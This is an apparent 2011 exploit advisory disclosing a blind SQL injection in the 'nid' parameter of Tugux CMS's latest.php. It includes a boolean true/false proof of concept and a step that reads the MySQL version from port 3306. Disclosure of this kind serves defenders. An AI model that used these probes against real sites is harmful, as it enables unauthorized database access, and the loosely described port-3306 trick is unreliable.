=================================================================== Tugux CMS (nid) BLIND sql injection vulnerability =================================================================== Software: Tugux CMS Vendor: www.tugux.com Vuln Type: BLind SQL Injection Download link: http://sourceforge.net/projects/tuguxcms/files/tuguxCMS_v.1.0_final.rar/download Author: eidelweiss contact: eidelweiss[at]windowslive[dot]com Home: www.eidelweiss.info References: http://eidelweiss-advisories.blogspot.com/2011/03/tugux-cms-nid-blind-sql-injection.html =================================================================== exploit & p0c [!] latest.php?nid=[valid nid] Example p0c [!] http://server/latest.php?nid=9 <= True [!] http://server/latest.php?nid=-9 <= False [+] http://server:3306 <= download the file , save and open with c++ or wordpad will show mysql version [!] sample: http://server:3306 result : 5.0.92-community (use versi 5.0.92) :D ==================================================================== Nothing Impossible In This World Even Nobody`s Perfect =================================================================== ==========================| -=[ E0F ]=- |==========================